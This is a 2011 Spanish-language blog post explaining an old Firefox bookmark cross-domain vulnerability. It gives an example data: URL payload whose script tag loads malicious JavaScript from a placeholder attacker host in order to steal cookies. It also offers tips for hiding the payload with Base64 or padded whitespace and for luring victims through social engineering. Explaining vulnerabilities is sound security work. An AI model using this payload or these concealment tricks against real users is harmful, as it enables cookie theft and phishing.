martes, 24 de mayo de 2011

Bookmarks: Firefox Cross-Domain Vulnerability

Saludos,

Haciendo un descanso en mi estudio me he puesto a dar vueltas por la red leyendo de aquí para allá sobre vulnerabilidades y me he topado con algo interesante. Se trata de un bug en Firefox, reportado hace mucho tiempo, que permite el uso de JavaScript (con todo lo que ello implica) al abrir un enlace favorito "corrupto".


El concepto consiste en correr código HTML y JS a través de "Data:...". Para informaros como funciona 'Data:' echad un ojo al RFC 2397 "The "data" URL scheme". De esta forma, se hace que la víctima abra de alguna forma un fake hecho con "Data:" (en el cual esté nuestro código JS malicioso) y se hace que la guarde en favoritos. El código JS malicioso sólo se ejecutará cuando la víctima abra el enlace corrupto que tiene en favoritos, y lo hará sobre la web que esté visitando en ese momento.


En otras palabras, lo que te permite esta vulnerabilidad es correr un JS malicioso sobre una web que estás visitando cuando la victima vaya a sus favoritos y abra nuestro enlace malicioso (de ahí lo de Cross-Domain). De esta forma podemos, por ejemplo, conseguir una cookie de un sitio web (P.E. Google) pese a que este no sea vulnerable a XSS. A priori parece poco efectivo, pero aplicando un poco de ingeniería social es perfectamente viable.



Un ejemplo propuesto por el descubridor de la vulnerabilidad (Michal Zalewski) sería al estilo de:

data:text/html;http://Escribir-una-web-que-parezca-real.com/index.html<script src="http://nuestrohost.com/codigo-malicioso.js"></script>



En nuestro código JS malicioso a parte del payload se podría hacer que crease una web falsa para engañar a la víctima. Si bien parece poco probable que alguien guarde en favoritos una enlace en cuya URL viene código JS, pese a que se observe una web fake que pueda interesar a la víctima, siempre se puede ofuscar. Algunas formas simples sería pasando el contenido de "Data:" a Base64 (ver el RFC), o bien usando el truco que aparece en el reto 3 de Seth: añadir tropecientos &nbs p; que acaben ocultando el final de la URL. De esta última forma sólo se vería el "data:text/html;http://Escribir-una-web-que-parezca-real.com/index.html" y no el resto.


PDD: para más info Firefox Bookmarks Cross-Domain Travel Vulnerability
PDD: perdón si lo que he escrito es algo denso o infumable, pero apenas he dormido.
5 0verl0ad Labs: Bookmarks: Firefox Cross-Domain Vulnerability Saludos, Haciendo un descanso en mi estudio me he puesto a dar vueltas por la red leyendo de aquí para allá sobre vulnerabilidades y me he...
< >